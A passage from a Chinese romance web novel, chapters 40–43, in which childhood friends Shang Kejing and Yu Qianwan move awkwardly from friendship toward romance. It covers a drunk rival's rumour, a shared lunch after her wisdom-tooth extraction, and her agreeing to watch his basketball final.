商恪景看着愕然的易辉卓,颀长身形阔立,直白坦率又那样理所理当地跟道:“对啊,我喜欢她,她也知道,怎么了吗?” 明显上扬着的语调是前所未有过的底气,是好些天都没看到过的如此恣意阳光的商恪景。 虞千绾心跳莫名漏了拍,瞳孔缩了又放。 记忆里那个稚嫩消瘦的男孩后背原来早越过她的记忆,成长为宽稳有力的宽肩窄腰,他的外形早与成熟男人无异了。 “那你为什么不赶他走?怎么还让他住你旁边?” 下意识的话问出口,易辉卓却是骇然一震,似喃似问,仿佛已有答案,“你们……在一起了?” 虞千绾听到易辉卓下意识的那话,心头瞬间也在发虚,因为她竟然一时间也回答不上来。 她不禁反问自己,是啊,她为什么不赶他走?为什么没办法像对待易辉卓一样对待他? 这个问题的答案好像只有一个。 但虞千绾想,不是,起码当下不是,又或者占比不同。 在现在,她还是可以确定的,大部分原因是商恪景这个朋友在她生活里着墨太重,很难短时间彻底抽离。 可待她捋好的时候,易辉卓好似已经在他们俩的沉默中有了答案,咕哝句:“你的身体比较重要。” 然后迅速把餐袋塞到商恪景手上就迅速转身离开了,因为他知道不靠这种法子,虞千绾不会收他的东西。 可虞千绾已经吃过了,商恪景再追上去想还给易辉卓的时候,易辉卓连电梯都没坐直接从楼梯一溜烟跑了。 他只能提着餐袋无可奈何回来,朝着虞千绾提了提示意。 虞千绾摆了摆手,任由商恪景处置,反正她不要。 “晚饭吃得多吗?要是没怎么吃的话,现在正好再吃点?” 当然,商恪景没打算让虞千绾吃易辉卓带来的,他转而道:“我厨房里给你留了,热一下就行,很快。” 虞千绾瞧着现在的商恪景,突然觉得很贴合易辉卓刚刚的话。 ——“他就是个绿茶,嘴上打着朋友的名义,实际暗戳戳使阴招,让你在日复一日里依赖他离不开他喜欢他。” “是挺绿茶的。” 不仅仅是说此刻的商恪景,更是在说那天在爷爷奶奶家庭院里落泪的商恪景,虞千绾越想越觉得自己跳进了一个大坑。 “嗯?” 商恪景一时间没反应过来虞千绾这突然的形容。 懵然几秒,显然也想起了易辉卓的话,他忽而爽朗笑了声,“那也不是吧,我现在没有打着朋友的名义。” ……又在说这种跟表白似的话。 越来越自如,越来越频繁。 虞千绾偏开些视线,声音佯装正常,“只否认这句,是代表你也承认你在暗戳戳想让我在日复一日里依赖你,离不开你?” “如果只能用是或不是来回答,那答案的确是是。” 虞千绾抓在门边的手指不自觉抠紧。 面前,商恪景步步走近,她的呼吸都好像在被压缩、掠夺,不自觉变缓。 “所以,我的目的达成了吗?” “没有,少自恋。” 虞千绾看都不看他一眼,嘴皮子很快的否认,眼睫却连自己都难以觉察到究竟是因何情绪而加快扇动频率。 “是吗?” 商恪景却又低笑了声,身形也微微下压,连她视野里的光亮都掠夺走一片,“依赖我、离不开我,后面还有一句,你怎么不提?” 虞千绾心脏像是被挤压,呼吸彻底屏住。 第40章 第 40 章 “别说我的床,她可以抱…… 虞千绾脑袋一阵轰然。 她已然没办法控制自己的表情和大脑, 也回不过商恪景的话。 待她意识到的时候,她已经一手推开了商恪景,一手猛地拉上了门,彻底隔开他们的视线, 让他没法再那样直白不掩饰地盯着她, 也一同断开了他们之间的对话。 说不上来的滋味, 虞千绾倚在门后, 被手指捂着的心口跳动的格外快。 她僵在原地, 一动不敢动,静静等待着门外的商恪景离开, 可等了约莫一分多钟, 外头都没传来商恪景回家关门的动静。 耐不住狐疑和好奇,虞千绾又悄悄凑近了猫眼, 想偷看门外的情形。 结果却正对上商恪景直直望着猫眼的视线,就仿佛早知她要偷看, 那一瞬间, 中间隔着的门就好像不存在,她的鬼鬼祟祟全数暴露在他的面前。 有不设防骤然看到的惊惶,也有又看到那双深情眼的失措。 虞千绾本来就贴在门后,冷不丁再度撞入想逃避的商恪景眼睛里, 她身形不自控地一抖, 微偏的膝盖磕到门上,发出很轻的一声碰撞。 瞳孔惊得骤缩,虞千绾立即将腿朝后撤, 但这声没能逃过门外咫尺之距的商恪景的耳朵,他眼神明显一顿,而后整张脸都笑开, 下颚也微微上抬,眼神里掺上些笑意。 意识到他真的发现,虞千绾耳尖彻底漫起了粉泽,更觉这道门是透明的,尴尬窘迫茫然…… 各种情绪交织,委实有些受不住这氛围,虞千绾刚打算摁下自己的心绪抽身离开门口回卧室之际,通过猫眼看到的商恪景突然动了。 他举起了右手,手心向她,除拇指外的其余细长四指不一致地前后晃点了几下,像是在同她打招呼,举手投足间透着股不羁劲。 而后,他唇角一直带着笑转过身回了自己家。 商恪景开关门的声音本身就不重,隔着门传到虞千绾耳朵里更是稍不注意就听不见的轻,她心头却为之一颤。 他明明知道她就在门后,明明自己也很开心,却主动离开了。 该是觉察到她的别扭情绪,于是给她相对舒适的环境…… 他们实在太了解彼此,所以哪怕身份在转变,虞千绾一时间也没法控制着自己不去想他的体贴和细腻,虽然这些本就是他作为追求者该有的态度。 可她一想,就不自觉代入他的角度感受他的情绪,也就没法明知他的酸楚还说出那些冷淡的狠话。 商恪景归家一段时间后,走廊的灯也自动关闭了。 外头彻底漆黑了,安静了。 虞千绾也终于松了口气,手指在心口稍稍用力抚了抚。 理智渐渐回笼,虞千绾自己都不知道自己在心慌个什么劲,该慌的人不应该是商恪景吗?他心焦她的情绪担忧怎么追求才对。 可她感觉最近的商恪景很陌生,陌生的她好像才真正开始认识到这一面的他,尤其今天,跟个魅魔似的,还有双天生含情的桃花眼……压根没和异性这么暧昧过的她有些招架不住。 更别提她对他同对别人的标准不一致。 不知道是不是虞千绾的错觉,她觉得他愈发得寸进尺,且逐渐自然频繁的将喜欢她这事摊在明面上反复提及。 更要命的是,虞千绾不是不可以遏止,她大可以更严肃的和商恪景声明,偏她说不出口…… 虞千绾一向知晓,一个合拍的朋友与恋人一样是极难找的,不可多得的。但经过前面三天的聚会,她更加确信。 在那些聚会中,虞千绾都是绝对的话题中心,是所有人都多加关照生怕冷待的对象。 正因为如此,虞千绾却感到些许怪异,总之没有真正的朋友间那么松弛自如的感觉。但大家平常联系没那么多,乍然聚会如此也很正常。 更要紧的是,很难进入深入对话,两个人的脑回路似乎在两条线上,她们互相不是很懂对方的点,还得多加解释几句对方才懂。 当然这也很正常,但有和商恪景一个眼神就笑得不能自已的相处在前,她便觉得这些都差点意思。 这三天里,虞千绾将自己的生活强制性充实得满当,商恪景出现的频率很低很低,但她却更为深刻的意识到商恪景这个朋友在她生命里留下的不可磨灭的痕迹。 但现在…… 他随便一个眼神都充斥着“我喜欢你”的意味。 他们显然不能再做单纯的朋友。 而她却没有曾经面对拒绝后还靠近的追求者那般抵触的心理…… 加之易辉卓刚刚那番话,虞千绾自己都有些模糊了,细细琢磨真心和生活里形成习惯的依赖的占比,想来想去她也想不明白,因为这两者并不是相悖的。 那对待异性的感情呢? 究竟是完全为零的不可能,还是也有那么一点点,即使是百分之零点零零零零零一。 虞千绾不禁升起些无法敲定的自我怀疑- 因为拔完智齿不舒服,且吃的药里面都有助眠效果。 虞千绾脑袋虽然很混乱,但睡得很早,也较沉,所以醒的也比较早。 睡醒时,她习惯性摸过手机,入眼就是解锁页面一堆未读的微信消息通知栏,滑开进到主页,微信logo的右上角小红点更明确的有了未读消息的数量显示——57。 惹得她眼睛立即懵然睁圆,身形都撑起了些,当即点入微信查看,还当出了什么事。 消息虽然很多,但都是为了同一件事来的,落点皆在昨晚的事上。 ——[易辉卓又来追求你了?你知道不,自从你给他删掉以后,他就一直麻烦许高阳把你朋友圈的内容全都截图转发过去。] ——[听说你昨晚又狠狠拒绝了易辉卓?他喝了个烂醉,边哭边骂了商恪景好久,还说你们俩谈了,真的假的啊,我都听糊涂了。] ——[卧槽,你和商恪景在一起了?!] 甚至还有人问都不问就当了真,直接送来了祝福:[啊啊啊啊,我真的觉得你俩超配的,终于在一起了,99999!] 虞千绾也是服气,深深一声叹。 她没想到易辉卓这么快就把消息传了出去,但这么多条消息挨个回复解释很麻烦,她便简明扼要答复说是个误会,易辉卓在瞎说不用当真,她也没跟商恪景在一起- 隔壁。 一身睡衣满身困意的商恪景躺在床上也在遭受着追问,但比虞千绾更要命,因为他这是当面的,稍微回答慢一点就会有只手按到他的肩上疯狂摇晃。 薄正卿因为先前刚回国就进医院的事被爸妈在家里拘了很久,一方面是养伤,一方面是惩罚。 好不容易,薄正卿昨天哄得爸妈开心,可以换得夜不归宿好好在外大玩一场,他就直接约了个通宵局。正巧,跟易辉卓的局在一个会所。虽然那不是一个包间,但他们这圈子里的秘密传得太快。 易辉卓是约莫凌晨四点多醉倒了以后哭着说出来虞千绾和商恪景在一起的事的,薄正卿是凌晨五点不到知道的,他第一时间给商恪景发了消息,但商恪景在睡觉,手机也是静音,并没有收到。 薄正卿又在会所里细细跟大家一起了解了易辉卓包间那边的情况,也得知有不少人给两位当事人发了消息询问,但这个点他俩明显都睡着,压根得不到回应。 将近凌晨六点时,薄正卿等不及了,一个多小时的车程也不嫌远,直接赶来了商恪景家。 一方面是八卦,想知道打小的两个朋友是不是真的在一起了,另方面则是对发小真在一起却没有告诉他产生的怨念,深深的怨念,虽然还不知道真假,但仅是想想就觉得憋屈,感觉自己被完全阻隔开了。 于是,早晨近八点,商恪景被疯狂响着的门铃声吵醒,不得不起身开门。 便有了当下这幕。 他困到不行的瘫在床上,薄正卿站在床边一个劲输出,一比一给商恪景复刻易辉卓醉酒后骂他的那些话。 商恪景表示自己并不想听骂自己的话,薄正卿却说不行,他可是特意打听了个仔细专程要来学给商恪景听的。 商恪景无可奈何,只能背对着薄正卿,将大半张脸都埋进了被子里。 但薄正卿学易辉卓声调学得太像,说起话来很有画面感。听着听着,商恪景都听笑了。 “笑屁笑,商恪景你跟虞千绾拿我当发小不?我知道你俩关系更近些,旁的事不跟我说就罢了,但谈恋爱这种事都不说,是不是太过分了?” 薄正卿越说越恼火,仿佛已经确定虞千绾和商恪景在一起这事。 “……压根就没谈,怎么说?是易辉卓脑补太多。” 商恪景困倦的声音沙哑。 刚还怒斥他俩在一起不告诉他不够朋友的薄正卿闻言又变了说辞,“商恪景你能不能行了?怎么还没在一起。” 在一起不行,不在一起也不行。 商恪景鼻息间又哼出声笑,“在追了,别催。” 空气静了一瞬,薄正卿突然就不淡定了,连爆好几句国粹,“卧槽卧槽卧槽。” 商恪景面前埋着遮光也一起捂住耳朵降噪的被也被薄正卿拉开,他的声音更为嘹亮,“这意思是,你跟她表白了?!” 一刹那的惊讶后,薄正卿又有了新的挑刺点,脸上的笑容骤散,“商恪景你是真不拿我当兄弟,这么多年,我一直辛辛苦苦给你保守着这个秘密,你现在居然表白了也不告诉我。” 商恪景被薄正卿各种话术弄到困意都散了大半,真想让他爸妈再给他薅回家关着,等到睡醒再给放出来。 不交代清楚,这茬是没法轻易过去了,更没法安心睡觉。 商恪景不得不坐起身,把事情大概给薄正卿说了遍。 薄正卿听得起劲,趁机给商恪景提了些追女生的路数,结果全都被商恪景给否了。 虽然商恪景自己也想不出什么好招,但他知道薄正卿的招数肯定不行。 商恪景一直自诩很了解虞千绾,但在感情这事上……他确实了解不多,毕竟他俩都是母胎单身,他也没见过靠着追求打动虞千绾的成功案例,只能自行摸索。 不过虞千绾当下没像对待易辉卓那样对他已是不错,他若是也跟易辉卓那般展开狂热追求,不出24小时,虞千绾就会彻底远离他。 他们之间,还是得慢慢来。 商恪景还是很有自知之明的,他知道虞千绾现在对他的那点特殊都来源于他们这么多年的挚友情谊,其中应该没多少真正喜欢的占比,甚至可能是残忍的零。 所以暂时只能先稳住虞千绾,让她别那么快的逃离他,如此,他的机会也能更多些,也让她多看看他,他多看看她。 “这个不行,那个也不行。” 想不出新招的薄正卿吐槽商恪景,“你怎么一遇到虞千绾的事就这么小心翼翼?嫌我的法子不好,自己又想不出来。要我说,你就该直球跟上,反正她已经知道你的喜欢了,保不齐正等着你的后续表现呢。” 商恪景却是坚定摇头,“她一定没有在等。” 跟着警告薄正卿,“你别乱给她发消息胡来啊,千万别让她感觉有压力。那样不仅她不舒服,我也真完了。” “知道知道。” 薄正卿顿觉无趣地摆了摆手,顺势绕到商恪景床的另边准备躺下,“我在这睡个觉,困死了。” “啧。” 商恪景一脚就蹬在了薄正卿后腰的位置抵住,“下去,没洗澡,脏。” “哎哟,我困不行了,一夜没睡,纯靠着你和虞千绾的事撑到现在,真撑不住了,洗个澡的劲都没了。” “不行,你不洗澡就去外面沙发睡。” 商恪景家里虽然有个客卧,但这里压根不会来人住,所以客卧几乎成了置物间,床上也没铺床单什么的没法睡人。 薄正卿几番央求未果,最终只能忿忿起身,“重色轻友的家伙,我看要是虞千绾在这,你还撵不撵她。” 心意彻底袒露后,商恪景完全没什么可掩饰了,也或许是掩饰了太多年,刚刚又诉说了一通,商恪景现在分外荡漾,分外直白,甚至有些不要脸地说:“她要是情愿,别说我的床,她可以抱着我睡。” “咦。” 薄正卿脸都皱成一团。 对此,商恪景却是笑得更为恣意。 作为单身狗,薄正卿看着这样的商恪景,突然有些不快了,心里不大平衡道:“商恪景,你看着也太幸福了吧,祝你多遭受些爱情的磨难,最好一直跟我一块单身。” 这无疑是现在商恪景非常不乐意听的话,很不吉利。 他脸色一下就变了,顺手捞起枕头就朝着薄正卿狠狠砸去,“闭嘴啊你,避谶。”《 》 40-50 第41章 第 41 章 “谁让我喜欢你呢”…… 虞千绾和商恪景上大学搬出来的时候, 家里人都给他们安排了做饭和每日打扫清洁的保姆。 不过他俩习惯性天天在一起吃饭,而且想着让保姆做一人食也麻烦,到时候自己大概率也吃不完浪费。彼时的两人浑没多想什么,在吃饭这方面默契达成一致——保姆直接做两人餐便好, 然后再由司机送来, 或者当天时间多也可以让保姆上门来做, 如此两位保姆也算是做一休一, 大家都自在。 为此, 他们俩和保姆还有个四人群聊,每天有什么想吃的就直接发在群里, 保姆看到会做。 如若点外卖或跟朋友聚餐不需要保姆做也直接在群里说。 但自从意识到商恪景的喜欢后, 虞千绾就没在群里再发过消息了。 一方面是前些天她都不在家,先是去姐姐家里住了一阵, 后又连着三天在外面玩,她便私聊了自家保姆, 告知她自己这些天都不用她做饭。另方面, 她在群里发消息的话,保姆肯定会习惯性做两人餐给她和商恪景一起吃,可以他俩的现状完全不适合坐在一张桌子上吃饭,那氛围怕是要僵死。 可现在, 虞千绾拔了智齿, 正在休养的时候。 虞昭音特别叮嘱过保姆,让保姆这些天做的餐食软烂些,当然, 也再三叮嘱过虞千绾,不许她这些天点外卖,也不许出去吃, 必须老实吃家里送去的好好养着。 约莫九点。 保姆在四人群聊了@了虞千绾,并跟着发了一张和虞昭音的聊天记录,里头是虞昭音特意找营养师要的菜谱,看起来种类还算丰富,就是都没有辣椒,皆为清淡口。 保姆询问虞千绾吃哪些,因为菜谱里的菜很多,肯定没法一顿都给做了。 虞千绾没办法,只能被迫在一众都不是那么想吃的清淡口餐食里挑选,最后圈出了一份汤和较能饱腹的菜肉粥,这俩都不需要她太费劲咀嚼,比之旁的也更鲜香有食欲。 保姆照顾他俩很久,了解他俩都是喜辣的人,虞千绾现下会点这些无非是拔了智齿不得不这么吃,但商恪景好好的肯定不乐意吃这些。 但现在的时间还较早,保姆能联系到虞千绾都觉稀奇,不知道能不能联系上商恪景,她便赶忙秒回虞千绾询问商恪景起来没,想问问商恪景中午吃什么。 实在算不得多意外的画面出现,虞千绾很没辙地仰天长叹一声。 他们的联系实在太紧密……几乎方方面面都有对方的痕迹,旁人不知他们近期发生的事,自然保持着原本的态度,冷不丁就会提到对方,可当这种冷不丁出现的频率太高以后,虞千绾都快要趋近于无感,只剩满满的无可奈何。 她并没想好该怎么回复,但不经意垂下扫过手机屏幕的视线却忽然一顿。 商恪景在她盯着天花板的时候直接引用了保姆的消息回复了。 ——[跟她一样就行] 保姆虽然挺狐疑商恪景没拔牙怎么突然也吃这么清淡,但知道分寸的没多问,反正主人家让她这么做,她只负责做好就行。 虞千绾则是一秒瘫倒,感到浓浓的不妙气息,头大得很。 事实也果然没出她所料,甚至比她想象的还要再直给一点。 午饭之前,她家门铃响了。 虞千绾想当然的认为是司机送饭来了,猫眼都没看就直接拉开了门,结果却看到了一秒露出示好笑容的商恪景,午餐正被他提在手上。 想来是商恪景故意提前联系过司机,自己先下楼把午餐截住,否则司机该直接送到她家门口的,而不是他出现在这。 虞千绾并没侧身,甚至在发现他的时候就没继续将门往外推,很明显不打算让商恪景进来的意思。 商恪景也意识到,便先提了句别的也很关心的问题,没让氛围僵在这,“今天醒挺早,是昨晚睡得早还是智齿拔完的伤口疼到没睡好?” “……” 虞千绾沉默了一会儿,即使知道他意思并不在此,但也无法完全忽略他话里的担心,还是答了,“睡得早。” “那就好,早起吃药了吗?” 虞千绾点了点头。 商恪景又道:“你知道吗,易辉卓昨天晚上走了以后在会所里喝醉了,很多人把他误会的话当了真,以为我们俩在一起了,薄正卿一大早就跑到我家来问我了,不过我解释过了。” “知道,我也跟问我的人解释过了。” 氛围透着说不清的别扭感,怕他还接着聊什么迟迟结束不了话题,虞千绾赶忙伸手想从他手里拿过午餐,“你把粥给我就行,我没什么胃口,多了也吃不下,汤你都带回去吃吧。” 商恪景身形却是一撤没让虞千绾拿过午餐袋,又斜侧着顺着门敞开的方向朝里巧妙进了半步,“两人份的粥全都放在一起的,可能得分一下。” 虞千绾一时失语,正想着商恪景会不会拿这个当借口先进她家,然后再要寻别的理由留下一起吃饭时,商恪景的话就已经出来了,“而且……薄正卿现在正在我家沙发上睡觉,我回去吃饭可能会吵着他,能不能在你这一起吃一顿?” 话口都到这了,虞千绾自然立刻拒绝,“不能。” 商恪景却也没轻易放弃,他眉眼一软,带着些央求,“你看,这些粥啊汤啊的都太清淡了,你吃着肯定觉得不香,两个人吃饭好一点。” “我又没要你陪我一起吃。” “是我想让你陪。”商恪景声调更轻,尾调曲折,跟撒娇似的,“求你了,陪陪我呗?我实在没法一个人吃这个。” 虞千绾完全不知商恪景这套从哪学来的,陪她一起吃她不是很想但不得不吃的饭,但又在其中适当加入些他自己的私心,还用这种姿态讲话…… 作为昔日那么亲近的朋友,看他这样真的很想笑…… 想当年,她揶揄过他多少次,说他重色轻友,说他恋爱后不知道会变成什么样。 原来是现在这个样。 虞千绾当即偏开了视线没看商恪景,生怕自己再看下去会绷不住破功笑噱出声。 商恪景顺势抓住了这个机会,侧身挤入了虞千绾家,待到虞千绾反应过来阻止的时候,一双拖鞋直接过来的他已经冲过玄关进到她家客厅了。 这样就很难再赶走了。 虞千绾忍不住出声,直白说破,“商恪景!你就是故意的。” 商恪景笑容明显灿烂了几个度,话腔里一个劲装傻,“啊?什么故意的,我听不懂啊,这不是因为薄正卿在我家睡觉我不想打扰他嘛。” 虞千绾边关门边怀疑人生,“商恪景你到底什么时候是这样一个人的?我以前认识的难道是假的商恪景吗?” “都是我啊,只是纯粹的朋友关系产生了变化,你看待的眼光也就变了。” 商恪景站在餐厅的分叉口前,随意用头先后点了下餐桌和茶几的方向,“哪?” “那。” 虞千绾指了餐桌的方向。 商恪景便提着餐袋去餐桌上拆开,拿出午餐,摆放好。 别扭归别扭,但两人之间这么多年培养出的默契依旧存在,对话十分简洁高效。 虞千绾坐在餐椅上,双手环胸抬眸直视着商恪景,一副“我倒要看看你还要干什么”的谨慎姿态。 被这么盯着,商恪景唇角反倒上翘了微妙的弧度,但又及时清咳了声试图遮掩,“对了,你知道昨晚易辉卓发酒疯的全过程不?他可是在会所包间里给我从上到下从里到外狠狠骂了一通,正好薄正卿也在会所,已经把全部过程都了解清楚了。” 人爱吃瓜几乎是本能。 商恪景深知虞千绾绝对是对这过程好奇的,尤其……还是骂他的,虞千绾这时候应该格外喜欢听。 能跟她多待会儿多聊会儿轻松事让他们之间的氛围别再那么紧绷着,哪怕复述些骂自己的话,也无妨。 商恪景想。 虞千绾有一会儿的犹豫,显然是在克制,而且有些要面子的想,这种时候不能让他感觉自己好像对他的话题很感兴趣,她应该保持高冷,无声的拒绝他。 但显然没克制成功。 商恪景递来盛出的那一碗给她的粥时,虞千绾故作傲娇的轻哼了声,“骂你啊,那你可得好好给我说说。” “哎哟。” 商恪景分明很暗爽,却突然浮夸一声,“我瞧着这粥也太清淡了吧,我撒点辣椒粉进去。” “啊!” 虞千绾一秒破了功,下意识拽住商恪景的胳膊,阻止他要往厨房去的动作,“你不许加辣,跟我一起这么吃,不然你就从我家出去!” “我不。” 商恪景本身就没打算加辣,纯纯是在逗她,尤其一瞧见她这副恢复本性没再绷着的模样就更觉心喜想逗。 拉扯了几个来回。 商恪景才坐下,“好吧,既然是你,我就陪了。” “没有人要你陪!你大可以离开。” “我就要陪,谁让我喜欢你呢。”后面几个字,商恪景说的很快很含糊,但俩人这么短的距离,很难不听到。 空气静了又静,没得到回应的商恪景耳朵突然有些红温,他默默低下头开始给自己盛粥。 虞千绾则盯着面前举着的勺子,里面正盛着一勺粥,她慢慢晃着勺子想让粥加速变得温凉,她现在还不能吃太热的。 许多话语几乎在商恪景话出的那瞬间就涌到了虞千绾的嗓子眼,憋了又憋,她到底没憋住,“……商恪景,你能不能少来这套,压根不适合你,你又不是易辉卓,说了自己都脸红还说……” “……我承认,之前看易辉卓那样是觉得他脸皮很厚,但到自己……” 商恪景不自然地抬指蹭了蹭鼻尖,“看到喜欢的人,确实有时候嘴比脑子快,真心话顺势就出了,就想让对方感觉到自己的喜欢……” 怎么还说的更过了…… 虞千绾彻底低下了头,不再提。 但她的耳朵怎么也有些热…… 第42章 第 42 章 “三百六十度没死角的好…… 刚拔完智齿的口腔环境适合吃些冰凉的, 粥和汤都太热,饶是虞千绾已经很努力的在用勺子搅着粥想让其尽快凉下来,但比之牙齿并无任何不适的商恪景而言吃饭速度还是慢了不少。 起初,虞千绾不觉得自己饿, 尤其现在的牙口还不便吃饭, 面对的还是一点辣椒都没有的清淡饮食, 看着食欲就减半。 但一口下肚后, 虞千绾的胃口突然就开了, 她昨天拔完智齿后就没几乎没怎么吃东西,就喝了小半碗白粥, 挨到现在肚子里基本是空的, 鲜香可口的肉粥入肚顿觉味道很不错,比寡淡的卖相好很多。 商恪景反倒没什么胃口, 主要他没睡好,一早被薄正卿闹醒后就没再睡着, 没一会儿又瞧见群里的消息, 彻底就在惦记着中午怎么和虞千绾一起吃饭的事了。 觉没睡好便也不是很想吃东西,尤其还是这种淡口的,但不吃就没理由继续待在虞千绾家,他便只能一口一口地硬往下吃, 直到临见碗底, 他才放缓速度,因为吃得太快也不行,那也得离开。 瞧见虞千绾碗里只剩约莫三分之一的粥, 她却越吃越快越吃越大口并没吃好的意思,商恪景主动询问:“还要吗?我再拿个小碗给你盛点出来放温些。” 虞千绾立即点头,“再要个半碗稍微多一点点就可以了, 应该只能吃下那么多了。” “好。” 商恪景这才放心一口吃下自己碗里最后剩下的那一点,否则怕是还能墨迹,分成不知多少份吃下肚。 放下勺子,他起身去厨房拿了小碗过来帮她盛出半碗稍多,“汤呢?要不要也来点?” 虞千绾摇头,但还挺馋荤的,“喝不下了,你帮我在里面夹几块小一点烂一点的肉出来就行。” “行。” 自然的对话落地,客厅里只余商恪景用公勺在汤里捞肉时不小心碰到汤碗壁发出的轻微声响。 但盛个粥捞个肉明明不需多少时间,他却明显多花了不少时间。 快要喝完粥的时候,虞千绾好奇投去一眼,狐疑商恪景怎么还没弄好。 但装汤的大保温提锅就放在他手前一截的位置,正好挡住了虞千绾的视线。隔着保温提锅,她没法看见他手上具体在干什么,只瞧见他手上拿着双筷子,筷子较长,中尾段露在了外面。 正当她完全捉摸不透商恪景在做什么又不禁思忖的时候,低着头使着筷子的商恪景突然站直了些身子,筷子也一齐放下,应是弄好了。 虞千绾当即收回视线继续喝自己的粥,佯装出一副没看他的姿态。 刚抬起头的商恪景也确没发现。 他一手端着盛粥的碗,另手端着单独放肉的碗,行至虞千绾身边,先后放在她面前,“好了。” 虞千绾顺势掀眸看去,这才明白商恪景刚刚到底在干什么。 他不仅按她的要求盛出了小块的肉,还用筷子将其尽可能分得更小,更方便咀嚼。 完全意料外的小细节。 虞千绾眼睫不自觉轻颤了两下。 恰在此时,商恪景开口了,但声音少了些底气,似也不抱有太大希望,可还是有些希冀,“明天就是……篮球赛决赛了,最后一次了,你来吗?” 虞千绾顿觉难捱地闭了闭眼,可一睁开又看见了面前摆放着的那碗被分得小小的肉。 她是真不知道商恪景究竟是有心这么做故意让她心软不好拒绝还是无意了,但她看着听着,确实很难说出否定的答案,可理智又矛盾地告知她不该。 最终,犹豫再三的虞千绾还是轻声回说:“……看情况吧。” “嗯……” 商恪景几乎是瞬间就回应她了,大抵是不想让她因为拒绝他而感到负面情绪,那该是只属于他的课题。但失落和苦涩也在瞬间涌上喉间堵住了他的声,所以那声嗯很闷很浅。 他意识到,赶忙调整了声线,刻意微扬,表情甚至都带上了些假笑,“行,那明天我们要是赢了再给你分享领奖的照片。” “我就先回去了。” 虞千绾感到自己的脑袋格外重,沉到她都无法抬起去看他的表情。 故以,她只能滞缓地点了点头回应他。 家门开了又关。 良久,虞千绾才抬起头望向空荡无人的玄关口,她想,商恪景好像误会了她的意思…… 她其实是想去的,但又觉得那么快那么直接在他面前应下很别扭,所以打算等到晚上再给他发消息。 但确实,那话落在他耳朵里像是在婉拒,他听到她回答后的声音听着都好像要碎了。 虞千绾越想心里头越不是滋味。 她深知自己不该心疼他,不该去共情太多他的情绪,甚至该远离他的,但也不知道怎么的,只要一和他靠近,氛围就会与她的设想背道而驰。 碗里,被细心弄小的肉被吃的只剩最后一小条,虞千绾夹起却没放入口中,恍然静望好一阵。 倏地,她将肉放入口中,迅速撂下筷子就拿起手机,点入微信,从通讯录里找到商恪景,发去消息: [明天的球赛,我去看] 商恪景临走前强忍着好似在笑却尾音带颤的语调如同穿脑魔音,在虞千绾脑海里久散不去。 她到底是没有忍住,预设中本该傍晚发去的消息,她还是这一刻发了过去,如此他应该就不会难受到傍晚了吧。 可消息发出去,她又很是别扭,就跟她在给他什么暗示似的。 当即补充句:[当初是我帮雁雁问你的,决赛缺席不太好。但是毛巾和水,我不给你带,你自己准备] 以前她不知道他的心思,那些都出于朋友情谊。 现在再去给他送水送毛巾的也未免太暧昧了…… 对话框的顶端瞬间就出现了一行【对方正在输入中】的提醒,跟着,他的回复弹出:[我带,都我来,你喝的水,你的早饭,我都包了] 连着一串的话。 仅是看着文字,虞千绾仿佛被石头压着的心头骤然轻松,眉眼也漫开些笑。 [你人来就行~] 他又发了条消息。 消息末有着一条很微妙的波浪号。 虞千绾不禁又在心里感叹一次——原来你是这样的商恪景。 可唇角的弧度却在掩不住地咧开,一双美眸也渐渐笑弯。 商恪景:[~~] 商恪景:[仰脸笑小熊.jpg] 未成想他又发了两条消息过来。 虞千绾彻底敛不住笑,但口是心非的给他回了个一拳打飞的表情包。 商恪景那头配合着发了个捂着心脏倒地的动作。 话题就此终止。 虞千绾没再回,但笑意还噙着,切出和他的单独对话页面看到微信主页时,虞千绾笑意微收,掺上些心虚。 因为她的微信号现在没有置顶,她把他的置顶取消了。 否则一打开就看到老容易想到他,就跟之前决意放弃常桦时一般。 但她还记得她当时设置他为置顶时是怎么雄赳赳气昂昂地说不可能取消他这个置顶的,现下却还是取消好些日子了。 时移世易,情况不同,她这个被追求的人总不能把追求者的微信挂在置顶上吧?这完全颠倒了。而且,他又看不到她的微信,肯定不知道她给他取消置顶了。就算知道他也不能说她什么,谁让他当初心思不纯。 虞千绾这么宽慰自己,转头去给徐盼雁发消息告知她自己明天也去看球赛的事了。 默默担忧了他俩许久的徐盼雁和魏明轩得知消息都是松了口气,傍晚时分,商恪景来球场训练的时候也是肉眼可见的心情好,不仅看起来活人感重了很多,说话音量都有力了不少,面色还很红润有光泽,时而还会悠然哼着歌,是一种由内向外的精气神变化- 翌日一早。 只带了手机的虞千绾和背着包自带东西的商恪景一起出了小区,共同乘车去往比赛场。 决赛的场馆经由教练抽签,抽中了京体大。 所以他们起得较早往京体大赶,幸而虞千绾这两天作息很健康,早晨都能起来,并不困。她就是很在意自己的容貌,拿着手机一直对着自己还有些微肿的左脸瞧一会儿叹一声。 “这有什么好叹气的?” 商恪景摁下她手机,目不转睛盯着她,夸赞的十分自然,“三百六十度没死角的好看。” “商恪景你闭嘴,少贫。” 虞千绾自知自己的情况,才不信商恪景这种虚假的话,复又举起手机,继续左右照着自己大小不一的两边脸。 “我认真的,不信你问汪叔。” 说着,商恪景就倾身去跟司机搭话,“汪叔你说是吧,虞千绾这脸还不漂亮吗?就算拔完智齿有点微微微微肿也很正常,何况保持正常社交距离,别人压根看不出来的。” 司机汪叔哈哈笑了声,爽直接道:“就是啊,我一张脸有千绾小姐两张脸大,那么小的一张脸不说肿我根本没发现,光发现千绾小姐漂亮了。” “你看。” 商恪景扭头去瞧虞千绾,眼神就差没把‘你就是绝美’几个字明晃晃写出来了。 虞千绾虽然依旧觉得这其中有很大他们在一起哄她的成分在,但不得不承认,心情确实愉悦了很多。再用手机照脸的时候,商恪景让她把手机稍微拿远一点再看,也好像确实没那么明显了。 她原先放在口袋里准备下车前戴的口罩最后都没戴。 篮球队里除商恪景外,大家都是住京大宿舍的,所以早上是和想观赛的校友及老师一起坐学校大巴车过来的。 怕商恪景和虞千绾找不到场馆,于是比约定好的时间先到的篮球队大家在京体大门口等了俩人几分钟。 “啊啊啊啊,宝贝你终于来了!你都不知道我一个人坐在观赛席的时候有多想你!” 徐盼雁一瞧见虞千绾就高兴上前抱住了她,环在虞千绾腰上的手臂还猛地用力直接把虞千绾抱起来转了一圈,虞千绾惊了下,下意识将徐盼雁回抱得更紧,笑音跟着婉吟漫泄。 魏明轩和商恪景看着这幕,同步在笑。 作者有话说:人家魏明轩看着女朋友在笑,商恪景同学你在笑什么?[眼镜][眼镜][眼镜] 第43章 第 43 章【增】 “商恪景巴不得你…… 到达京体大的篮球场后, 虞千绾和徐盼雁就与篮球队的大家分开,一方去到观赛席落座,一方则按照流程去签到热身换衣服。 